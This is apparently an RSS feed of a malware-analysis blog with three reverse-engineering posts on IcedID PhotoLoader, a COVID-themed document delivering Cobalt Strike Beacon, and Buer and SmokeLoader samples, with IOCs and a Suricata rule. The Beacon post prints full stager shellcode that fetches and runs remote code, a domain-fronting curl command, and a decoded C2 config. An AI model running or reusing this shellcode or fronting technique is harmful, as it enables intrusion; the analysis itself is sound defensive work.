Jekyll2020-04-29T15:14:23+00:00/feed.xmlRandom REPlace for me to dump random RE posts mostly revolving around Malware.IcedID PhotoLoader evolution2020-04-28T17:43:40+00:002020-04-28T17:43:40+00:00/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader<p>IcedID continues to evolve but yet not a lot of attention is given it, Joshua Platt, Vitali Kremez and
myself recently released a report[<a href="https://labs.sentinelone.com/icedid-botnet-the-iceman-goes-phishing-for-us-tax-returns/">1</a>] detailing how they have been targeting and continue to target
tax season in the midst of the Covid-19 pandemic which has extended tax season in the US to July.</p>
<p>In light of this they are also continuing to innovate on their malware tools including their PhotoLoader which was
detailed by MalwareBytes previously[<a href="https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/">2</a>]. The loader has recently had a number of additions added to it which appear to be designed
towards protecting the payloads and also evading network detection.</p>
<h1 id="config">Config</h1>
<p>The loader comes with an onboard configuration which will be decoded:</p>
<p><img src="/assets/photoloader_update/decode_config.png" alt="Decode onboard config" title="Decode onboard config" /></p>
<p>Decoding this config shows some hex data and a number of domains:</p>
<p><img src="/assets/photoloader_update/decoded_config.png" alt="Decoded config" title="Decoded config" /></p>
<p>Some of these domains are legit and one of them stands out as suspect, the loader enumerates these domains and makes requests to them in a loop.</p>
<p><img src="/assets/photoloader_update/make_req_look_for_url.png" alt="Make request and look for url tag" title="Make request and look for url tag" /></p>
<p>After retrieving the content it will look for the first occurrence of ‘url(“‘ or ‘src=”’.</p>
<p><img src="/assets/photoloader_update/initial_lp.png" alt="Initial landing page" title="Initial landing page" /></p>
<p>It will then build another request for this resource from the same domain but depending on the flag value before the domain will determine whether or not the second request will have a callback function set on the request for the retrieved resource.</p>
<p><img src="/assets/photoloader_update/flag_check_for_callback.png" alt="Flag check to set callback" title="Flag check to set callback" /></p>
<p>The callback will add cookie values to the request headers.</p>
<p><img src="/assets/photoloader_update/build_cookie_add_header.png" alt="Build cookie header" title="Build cookie header" /></p>
<p>The cookie values built are based on various information from the infected system.</p>
<p><img src="/assets/photoloader_update/build_cookies_overview.png" alt="Overview of cookies built" title="Overview of cookies built" /></p>
<p>An example of the request can be seen from this sandbox detonation[<a href="https://app.any.run/tasks/d092cd7a-3e1c-479f-93e0-6494e464f44e/">3</a>]:</p>
<p><img src="/assets/photoloader_update/sandbox_request.png" alt="Image request" title="Image request" /></p>
<p>The _u cookie value holds the username and computername hexlified.</p>
<p><img src="/assets/photoloader_update/build_cookie_u.png" alt="Building the _u cookie" title="Building the _u cookie" /></p>
<p>Inspecting the data from the sandbox detonation:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="s">'4445534B544F502D4A474C4C4A4C44'</span><span class="p">)</span>
<span class="s">'DESKTOP-JGLLJLD'</span>
<span class="o">>>></span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="s">'61646D696E'</span><span class="p">)</span>
<span class="s">'admin'</span>
</code></pre></div></div>
<p>A breakdown of what the cookie values are:</p>
<table>
<thead>
<tr>
<th>Cookie</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>_gid</td>
<td>Based on physical address of NIC</td>
</tr>
<tr>
<td>_io</td>
<td>Domain identifier from SID</td>
</tr>
<tr>
<td>_u</td>
<td>Username and Computername</td>
</tr>
<tr>
<td>_gat</td>
<td>Windows version info</td>
</tr>
<tr>
<td>_ga</td>
<td>Processor info via CPUID including hypervisor brand if available</td>
</tr>
<tr>
<td>_gads</td>
<td>First DWORD from decoded config data, flag from inspecting server certificate, a random DWORD or number passed as parameter with -id=, number of processes</td>
</tr>
</tbody>
</table>
<p>After pulling down the fake image file it will look for ‘IDAT’.</p>
<p><img src="/assets/photoloader_update/idat.png" alt="Look for IDAT" title="Look for IDAT" /></p>
<p>Uses a byte value to determine the size of the RC4 key before RC4 decrypting the data:</p>
<p><img src="/assets/photoloader_update/rc4_decode.png" alt="RC4 decode" title="RC4 decode" /></p>
<p>Then will perform a hash check on the decoded data to determine if it was correct.</p>
<p><img src="/assets/photoloader_update/hash_check.png" alt="Hash check" title="Hash check" /></p>
<p>If the hash check fails it will just continue performing this enumeration through the domain list, effectively turning this process into a checkin loop with fake traffic mixed in.</p>
<p>Many of these added features to their photo loader appear to be designed for evading researchers and detections,
this gives us insights into their operations as what their customers are asking for dictates what their development team will prioritize.
With the previous photo loader being blogged about and signatures being released, it was only a few months before a new updated system was created to replace it.</p>
<h1 id="iocs">IOCs</h1>
<p>1a4408ff606936ba91fa759414f1c6dd8b27e825</p>
<p>ca792a5d30d3ca751c4486e2d26c828a542a001a</p>
<p>zajjizev[.]club</p>
<p>hxxp://45.147.231[.]107/ldr.exe</p>
<p>hxxps://customscripts[.]us/ldr_2817175199.exe</p>
<p>karantino[.]xyz</p>
<p>hinkaly[.]club</p>
<h1 id="signatures">Signatures</h1>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"IcedID PhotoLoader Ver2"; flow:established,to_server; content:".png"; http_uri; content:"__gads="; http_cookie; content:"gat="; http_cookie; content:"_ga="; http_cookie; content:"_u="; http_cookie; content:"__io="; http_cookie; content:"_gid="; http_cookie; classtype:trojan-activity; sid:9000030; rev:1; metadata:author Jason Reaves;)
</code></pre></div></div>
<p>References:</p>
<ol>
<li>https://labs.sentinelone.com/icedid-botnet-the-iceman-goes-phishing-for-us-tax-returns/</li>
<li>https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/</li>
<li>https://app.any.run/tasks/d092cd7a-3e1c-479f-93e0-6494e464f44e/</li>
</ol>IcedID continues to evolve but yet not a lot of attention is given it, Joshua Platt, Vitali Kremez and myself recently released a report[1] detailing how they have been targeting and continue to target tax season in the midst of the Covid-19 pandemic which has extended tax season in the US to July.Hiding in the clouds2020-03-24T16:31:12+00:002020-03-24T16:31:12+00:00/malware,/cobaltstrike/2020/03/24/beacon-in-azure<p>A covid themed document was mentioned on twitter[<a href="https://twitter.com/ximo_lcg/status/1242298741140250624">1</a>] by @ximo_lcg. Checking the Any.Run sandbox detonation[<a href="https://app.any.run/tasks/642a1b8c-6232-41c0-8c74-0f4513a44599/">2</a>] shows a TLS connection and an execution of rundll so I decided to take a look.</p>
<p>The document is covid themed with references to World Health Organization.</p>
<h1 id="vba">VBA</h1>
<p>The VBA code is pretty simplistic, it has a simple RC4 and unhexlify on the strings:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set objHttp = CreateObject(DecString("ee6f71bd568fa4d9264722c28222c6fa616215f9"))
strURL = DecString("cb485d806987a5a520513a899a1bfdd74a592f87897b41d4fa92a08aa37478a6a3883a21")
objHttp.Open "GET", strURL, False
</code></pre></div></div>
<p>So we can decode the strings pretty easily</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> def decode(s):
... temp = binascii.unhexlify(s)
... rc4 = ARC4.new('thehint')
... return rc4.decrypt(temp)
>>> decode('ee6f71bd568fa4d9264722c28222c6fa616215f9')
'MSXML2.ServerXMLHTTP'
>>> decode('cb485d806987a5a520513a899a1bfdd74a592f87897b41d4fa92a08aa37478a6a3883a21')
'https://cdn.javacon.eu/gen_visual.js'
>>> decode('cb485d806987a5a520513a899a1bfdd74a592f87897b41d4fa92a08cab296eb4bc')
'https://cdn.javacon.eu/gen_pa.css'
</code></pre></div></div>
<p>Looking at some more of the VBA code</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> objHttptwo.setRequestHeader DecString("f64f4c8237fcedef2d41"), _
DecString("ee53539976d1eba5761b6487d82de2d84d5936dacc403a93aeccd1ccf1275aaea19064697430c54b2384315846187f6a1c9a878e
2ff5218f321654c96ae367c90a72981a64b0b55ebc69b46f4d09")
objHttptwo.Send ("")
''' Select the mode (with or without domain name)
pass = ToHexDump(objHttptwo.responseText)
'pass = ToHexDump(objHttptwo.responseText) & access
'MsgBox ("Full password:" & ToHexDump(objHttptwo.responseText) & access)
Set objHttptwo = Nothing
'If access = "11252" Then
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
Dim sSecret As String
Dim dec_secret As String
Dim here As String
here = pass
dec_secret = CryptRC4(FromHexDump(strText), here)
</code></pre></div></div>
<p>It looks like one of the URLs will return helified data and the other will return data that will be hexlified and used as an RC4 key to decode the other data. That data will then be reconstructed and injected into rundll process.</p>
<h1 id="next-layer">Next Layer</h1>
<p>Decoding the downloaded data:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> passw
'well,letmeexplainyouthis'
>>> tp = binascii.hexlify(passw)
>>> tp
'77656c6c2c6c65746d656578706c61696e796f7574686973'
>>> tp.upper()
'77656C6C2C6C65746D656578706C61696E796F7574686973'
>>> rc4 = ARC4.new(binascii.hexlify(passw).upper())
>>> t = rc4.decrypt(b)
>>> t
'-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49,13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1,-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4,-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1,-43,-24,0,0,0,0,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-92,0,0,0,91,49,-55,81,81,106,3,81,81,104,-69,1,0,0,83,80,104,87,-119,-97,-58,-1,-43,80,-23,-116,0,0,0,91,49,-46,82,104,0,50,-64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,104,-128,51,0,0,-119,-32,106,4,80,106,31,86,104,117,70,-98,-122,-1,-43,95,49,-1,87,87,106,-1,83,86,104,45,6,24,123,-1,-43,-123,-64,15,-124,-54,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1,-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,117,7,88,80,-23,123,-1,-1,-1,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,111,-1,-1,-1,47,110,98,67,73,0,-45,-19,82,109,28,-80,-103,81,49,-9,48,-60,-122,39,3,-100,26,-94,122,77,49,-28,0,122,-60,-13,-32,-102,-97,77,-72,89,-4,30,123,48,79,28,-108,16,52,-51,-44,-96,-95,-3,-12,-78,38,22,-15,70,74,-85,-15,64,6,-84,-42,-128,-103,78,64,-33,-94,40,5,-54,7,-2,-41,80,-112,0,85,115,101,114,45,65,103,101,110,116,58,32,77,105,99,114,111,115,111,102,116,45,67,114,121,112,116,111,65,80,73,47,54,46,49,13,10,72,111,115,116,58,32,110,111,118,111,116,101,46,97,122,117,114,101,101,100,103,101,46,110,101,116,13,10,0,-52,23,-105,29,-51,-35,-74,118,64,-18,30,88,-80,14,-40,-56,-105,48,77,81,100,72,-76,-38,15,-16,-89,70,-26,94,-13,94,-3,-16,-92,-36,1,49,-124,-29,111,-117,-53,102,54,58,14,-3,-44,79,0,-8,60,29,109,-89,33,-63,12,-83,-65,11,7,-19,117,-118,-47,-38,85,-26,-35,51,99,82,-72,40,-21,-97,61,116,-104,79,80,-67,25,18,-29,70,122,54,29,-123,-17,-82,90,-40,125,-75,115,74,-6,-108,-76,-75,-118,-64,102,72,58,60,123,-115,14,-102,-122,40,92,105,-65,64,-91,-22,80,-118,-128,67,-30,-125,-99,-93,-97,-31,36,-5,-78,-6,-97,50,-60,-5,102,-68,0,-76,53,35,115,-87,-36,-13,41,0,-65,-46,-79,70,85,39,-52,73,-65,-23,-83,81,-60,42,54,-87,31,106,9,54,-97,-34,9,11,86,18,118,97,64,-93,62,-43,-100,54,-21,-98,75,54,-119,-41,-71,113,20,-46,90,-123,16,-69,102,-104,56,18,114,-44,107,-119,115,-112,9,-107,-125,44,115,1,-66,89,44,42,67,17,36,-84,-6,28,109,-85,126,23,-38,107,-51,-88,-85,-80,-50,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43,-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-119,-3,-1,-1,116,111,45,100,111,45,99,100,110,46,109,105,99,114,111,115,111,102,116,46,99,111,109,0,51,28,-66,-38'
>>> blah = t.split(',')
>>> blah2 = map(lambda x: chr(int(x)&0xff),blah)
>>> blah2 = ''.join(blah2)
>>> blah2
"\xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\x8bX \x01\xd3\xe3<I\x8b4\x8b\x01\xd61\xff1\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe2X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xeb\x86]hnet\x00hwiniThLw&\x07\xff\xd5\xe8\x00\x00\x00\x001\xffWWWWWh:Vy\xa7\xff\xd5\xe9\xa4\x00\x00\x00[1\xc9QQj\x03QQh\xbb\x01\x00\x00SPhW\x89\x9f\xc6\xff\xd5P\xe9\x8c\x00\x00\x00[1\xd2Rh\x002\xc0\x84RRRSRPh\xebU.;\xff\xd5\x89\xc6\x83\xc3Ph\x803\x00\x00\x89\xe0j\x04Pj\x1fVhuF\x9e\x86\xff\xd5_1\xffWWj\xffSVh-\x06\x18{\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x001\xff\x85\xf6t\x04\x89\xf9\xeb\th\xaa\xc5\xe2]\xff\xd5\x89\xc1hE!^1\xff\xd51\xffWj\x07QVPh\xb7W\xe0\x0b\xff\xd5\xbf\x00/\x00\x009\xc7u\x07XP\xe9{\xff\xff\xff1\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8o\xff\xff\xff/nbCI\x00\xd3\xedRm\x1c\xb0\x99Q1\xf70\xc4\x86'\x03\x9c\x1a\xa2zM1\xe4\x00z\xc4\xf3\xe0\x9a\x9fM\xb8Y\xfc\x1e{0O\x1c\x94\x104\xcd\xd4\xa0\xa1\xfd\xf4\xb2&\x16\xf1FJ\xab\xf1@\x06\xac\xd6\x80\x99N@\xdf\xa2(\x05\xca\x07\xfe\xd7P\x90\x00User-Agent: Microsoft-CryptoAPI/6.1\r\nHost: novote.azureedge.net\r\n\x00\xcc\x17\x97\x1d\xcd\xdd\xb6v@\xee\x1eX\xb0\x0e\xd8\xc8\x970MQdH\xb4\xda\x0f\xf0\xa7F\xe6^\xf3^\xfd\xf0\xa4\xdc\x011\x84\xe3o\x8b\xcbf6:\x0e\xfd\xd4O\x00\xf8<\x1dm\xa7!\xc1\x0c\xad\xbf\x0b\x07\xedu\x8a\xd1\xdaU\xe6\xdd3cR\xb8(\xeb\x9f=t\x98OP\xbd\x19\x12\xe3Fz6\x1d\x85\xef\xaeZ\xd8}\xb5sJ\xfa\x94\xb4\xb5\x8a\xc0fH:<{\x8d\x0e\x9a\x86(\\i\xbf@\xa5\xeaP\x8a\x80C\xe2\x83\x9d\xa3\x9f\xe1$\xfb\xb2\xfa\x9f2\xc4\xfbf\xbc\x00\xb45#s\xa9\xdc\xf3)\x00\xbf\xd2\xb1FU'\xccI\xbf\xe9\xadQ\xc4*6\xa9\x1fj\t6\x9f\xde\t\x0bV\x12va@\xa3>\xd5\x9c6\xeb\x9eK6\x89\xd7\xb9q\x14\xd2Z\x85\x10\xbbf\x988\x12r\xd4k\x89s\x90\t\x95\x83,s\x01\xbeY,*C\x11$\xac\xfa\x1cm\xab~\x17\xdak\xcd\xa8\xab\xb0\xce\x00h\xf0\xb5\xa2V\xff\xd5j@h\x00\x10\x00\x00h\x00\x00@\x00WhX\xa4S\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9QS\x89\xe7Wh\x00 \x00\x00SVh\x12\x96\x89\xe2\xff\xd5\x85\xc0t\xc6\x8b\x07\x01\xc3\x85\xc0u\xe5X\xc3\xe8\x89\xfd\xff\xffto-do-cdn.microsoft.com\x003\x1c\xbe\xda"
</code></pre></div></div>
<p>Looks like this data is the shellcode that will be injected, it is your standard shellcode that will download and execute something in memory frequently used for delivering Meterpreter or CobaltStrike Beacon.</p>
<p>The traffic is abusing a domain frontable azure domain to allow their traffic to be rerouted within azure, this isn’t a new technique<a href="https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html">3</a> and has been seen used by CobaltStrike before.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># curl -k https://to-do-cdn.microsoft.com/nbCI --header "Host: novote.azureedge.net" --user-agent "Microsoft-CryptoAPI/6.1" -O -v
* TCP_NODELAY set
* Connected to to-do-cdn.microsoft.com (152.199.4.133) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=to-do-cdn.microsoft.com
* start date: Mar 6 08:05:55 2019 GMT
* expire date: Mar 6 08:05:55 2021 GMT
* issuer: C=US; ST=Washington; L=Redmond; O=Microsoft Corporation; OU=Microsoft IT; CN=Microsoft IT TLS CA 4
* SSL certificate verify ok.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
} [5 bytes data]
* Using Stream ID: 1 (easy handle 0x559466f72e00)
} [5 bytes data]
> GET /nbCI HTTP/2
> Host: novote.azureedge.net
> user-agent: Microsoft-CryptoAPI/6.1
> accept: */*
>
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
{ [249 bytes data]
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
{ [249 bytes data]
* old SSL session ID is stale, removing
{ [5 bytes data]
* Connection state changed (MAX_CONCURRENT_STREAMS == 100)!
} [5 bytes data]
< HTTP/2 200
< content-type: application/octet-stream
< date: Tue, 24 Mar 2020 16:22:48 GMT
< server: ECAcc (daa/7C85)
< content-length: 208973
<
{ [5 bytes data]
100 204k 100 204k 0 0 93667 0 0:00:02 0:00:02 --:--:-- 93667
</code></pre></div></div>
<p>This downloaded blob would then be loaded into memory and detonated at byte 0</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00000000 1 fc cld
0x00000001 5 e811000000 call 0x17
</code></pre></div></div>
<p>At byte 0x17 is a jump to 0x40 which then calls 0x19, this is a quick way to push the address of 0x45 onto the stack</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00000019 1 5f pop edi
0x0000001a 2 8b17 mov edx, dword [edi]
0x0000001c 3 83c704 add edi, 4
0x0000001f 2 8b37 mov esi, dword [edi]
0x00000021 2 31d6 xor esi, edx
0x00000023 3 83c704 add edi, 4
0x00000026 1 57 push edi
0x00000027 2 8b07 mov eax, dword [edi]
0x00000029 2 31d0 xor eax, edx
0x0000002b 2 8907 mov dword [edi], eax
0x0000002d 2 31c2 xor edx, eax
0x0000002f 3 83c704 add edi, 4
0x00000032 3 83ee04 sub esi, 4
0x00000035 2 31c0 xor eax, eax
0x00000037 2 39c6 cmp esi, eax
0x00000039 2 7402 je 0x3d
0x0000003b 2 ebea jmp 0x27
0x0000003d 1 5a pop edx
0x0000003e 2 ffe2 jmp edx
0x00000040 5 e8d4ffffff call 0x19
</code></pre></div></div>
<p>This is an XOR decoding routine with the length of data being the first two dwords XORd and the initial key being the frist dword value.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>>> data = open('nbCI', 'rb').read()
>>> t = bytearray(data[0x45:])
>>> import struct
>>> struct.unpack_from('<II', t)
(1086941758, 1087003198)
>>> (a,b) = struct.unpack_from('<II', t)
>>> a^b
208896
>>> key = a
>>> t2 = t[8:]
>>> out = ""
>>> for i in range(len(t2)/4):
... temp = struct.unpack_from('<I', t2[i*4:])[0]
... temp ^= key
... out += struct.pack('<I', temp)
... key ^= temp
...
>>> out[:100]
'MZ\xe8\x00\x00\x00\x00[\x89\xdfREU\x89\xe5\x81\xc3P\x81\x00\x00\xff\xd3h\xf0\xb5\xa2Vh\x04\x00\x00\x00W\xff\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be'
>>> open('nbCI.decoded', 'wb').write(out)
>>> quit()
</code></pre></div></div>
<p>The decoded data is a CobaltStrike Beacon designed to be reflectively loaded, it’s a newer version of CobaltStrike but also doesn’t use the standard XOR key for it’s configuration data. You can get all the values by alerting my publicly available beacon decoder[<a href="https://github.com/sysopfb/malware_decoders/blob/master/cs_beacon/proper_beacon_decoder.py">4</a>] a bit by allowing up to 100 setting values and changing the XOR key to 0x2e.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class beaconSettings:
def __init__(self, blob):
self.items = []
(bsetting, stype, l,) = struct.unpack_from('>HHH', blob)
while bsetting < 100 and stype < 10 and l < 1000 and len(blob) > 7:
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def decoder(data):
config = {}
blob = bytearray(data)
for i in range(len(blob)):
blob[i] ^= 0x2e
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{'UNKNOWN43': '3634', 'PROXY_BEHAVIOR': '2', 'PROTOCOL': '8', 'SPAWNTO_X64': '%windir%\\sysnative\\rundll32.exe', 'SLEEPTIME': '10', 'C2_VERB_GET': 'GET', 'UNKNOWN51': '\x01\x02\x03\x04', 'DNS_SLEEP': '0', 'UNKNOWN40': '0', 'UNKNOWN53': 'ua-U\x0e\x90\r\n\xe9l\x14}\xc91Uo', 'UNKNOWN47': '', 'MAXGET': '1048576', 'USERAGENT': 'Microsoft-CryptoAPI/6.1', 'PORT': '443', 'DNS_IDLE': '0', 'UNKNOWN46': '', 'UNKNOWN54': 'Host: novote.azureedge.net\r\n', 'UNKNOWN55': '30', 'UNKNOWN41': '0', 'UNKNOWN39': '30', 'UNKNOWN50': '30', 'UNKNOWN45': '0', 'C2_POSTREQ': "[('_HEADER', 0, 'Accept: */*')]", 'WATERMARK': '857521882', 'PUBKEY': '30819f300d06092a864886f70d010101050003818d0030818902818100a0892297ed077816d7463cc456c02ccf31c03f8973c1457e5cf4133b7b5e22b51d4196352c906aeffdbcbaf53b0969c9c46e302f70964f86974d892da0ecb4a44b2ff462b64cf119194f1d4169b302717aee46cd777c047b8a74e02f91f09b911c57aeef7e897efc87f48d9a33a440a52a7a15132089819436165e64120732c30203010001', 'SPAWNTO_X86': '%windir%\\syswow64\\rundll32.exe', 'C2_REQUEST': "[('_HEADER', 0, 'Accept: */*')]", 'CRYPTO_sCHEME': '0', 'ITTER': '12', 'C2_RECOVER': '\x04', 'C2_CHUNK_POST': '0', 'PIPENAME': '', 'C2_VERB_POST': 'POST', 'UNKNOWN52': '30', 'UNKNOWN44': '3634', 'SPAWNTO': 'Z\xb4\x119\xf4C\xbb\x07\xf4p\xd1L\xf0\xae^\x80', 'UNKNOWN38': '30', 'SUBMITURI': '/oscp/a/', 'DOMAINS': 'to-do-cdn.microsoft.com,/oscp/', 'MAXDNS': '240'}
</code></pre></div></div>
<p>References:</p>
<ol>
<li>https://twitter.com/ximo_lcg/status/1242298741140250624</li>
<li>https://app.any.run/tasks/642a1b8c-6232-41c0-8c74-0f4513a44599/</li>
<li>https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html<br />
4: https://github.com/sysopfb/malware_decoders/blob/master/cs_beacon/proper_beacon_decoder.py</li>
</ol>A covid themed document was mentioned on twitter[1] by @ximo_lcg. Checking the Any.Run sandbox detonation[2] shows a TLS connection and an execution of rundll so I decided to take a look.Loaders a plenty, Buer to Smoke2020-03-18T16:31:12+00:002020-03-18T16:31:12+00:00/malware,/buer,/smokeloader/2020/03/18/SmokeLoader<p>After finding a collection of samples I noticed they were in a report: https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/</p>
<p>Buer loader: 1e37cf52cafb1f3e6eea67caa620379f37e5bd271fa21786ee33ad000164da83</p>
<p>The Buer loader is crypted with a NSIS based crypter that will load a DLL to decrypt the unpacked malware.</p>
<p>Decoded Buer config:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{'RC4': 'YwDTTaRqUdxR2VvmxgfSsZEx2UM9fqF3wL2x2MrjMmuCY', 'C2': ['hxxps://oderstrg.site/', 'hxxps://kkjjhhdff.site/']}
</code></pre></div></div>
<p>Another sample: 09b454c55823b836d30fd5330f3408f6622e0c2d9d720712bcf1def0eaed9ed9</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{'RC4': 'YwDTTaRqUdxR2VvmxgfSsZEx2UM9fqF3wL2x2MrjMmuCY', 'C2': ['hxxps://oderstrg.site/', 'hxxps://kkjjhhdff.site/']}
</code></pre></div></div>
<p>SmokeLoader: baf3dafaf808746d9e3c5ed0c12fcb6e332c0f378e52e8fb50e1c05d14775614</p>
<p>UPX packed, unpacked: 250ea14911f24c0a3e0605f9bfbbde5d</p>
<p>We can xor the entire binary by 0x4c and see some unicode strings related to anti-analysis functionality:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> process call create "%s"
runas
wmic
qemu
virtio
vmware
vbox
9C99.vmt
\REGISTRY\MACHINE\System\CurrentControlSet\Enum\IDE
\REGISTRY\MACHINE\System\CurrentControlSet\Enum\SCSI
%systemroot%\system32\ntdll.dll
kernel32
user32
advapi32
shell32
</code></pre></div></div>
<p>Looks like some new checks were added that I don’t recall seeing before to SmokeLoader. The major version of the OS is checked:</p>
<p><img src="/assets/smokeloader/smoke_major_version_check.png" alt="Major OS Version Check" title="Major OS Version Check" /></p>
<p>A language check using GetKeyboardLayout:</p>
<p><img src="/assets/smokeloader/keyboardlayout_ida.png" alt="Keyboard Language Check" title="Keyboard Language Check" /></p>
<p>Ultimately this is a wrapper that performs a number of checks such as the IsBeingDebugged flag and the NtGlobalFlag and will eventually decode the next layer which will be injected into explorer. The DLL still has its headers stripped which has been covered by hasherzade previously[<a href="https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/">1</a>].
This sample comes with both a 32 bit and a 64 bit version, the loader checks the GS segment register to determine which one to load[<a href="https://osandamalith.com/2017/09/24/detecting-architecture-in-windows/">2</a>].</p>
<p><img src="/assets/smokeloader/64bit_gs_check_ida.png" alt="Bit check" title="Bit Check" /></p>
<p>After being XOR decoded and LZNT decompressed the DLL has its headers stripped and the first byte is a offset to where the NT Headers would start.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000: c000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000c0: 0000 0000 4c01 0200 0000 0000 0000 0000 ....L...........
000000d0: 0000 0000 e000 0221 0b01 0c00 0036 0000 .......!.....6..
000000e0: 0002 0000 0000 0000 3417 0000 0010 0000 ........4.......
000000f0: 0050 0000 0000 0010 0010 0000 0002 0000 .P..............
00000100: 0600 0000 0000 0000 0600 0000 0000 0000 ................
00000110: 0060 0000 0004 0000 0000 0000 0200 0004 .`..............
00000120: 0000 1000 0010 0000 0000 1000 0010 0000 ................
00000130: 0000 0000 1000 0000 0000 0000 0000 0000 ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000160: 0050 0000 6000 0000 0000 0000 0000 0000 .P..`...........
</code></pre></div></div>
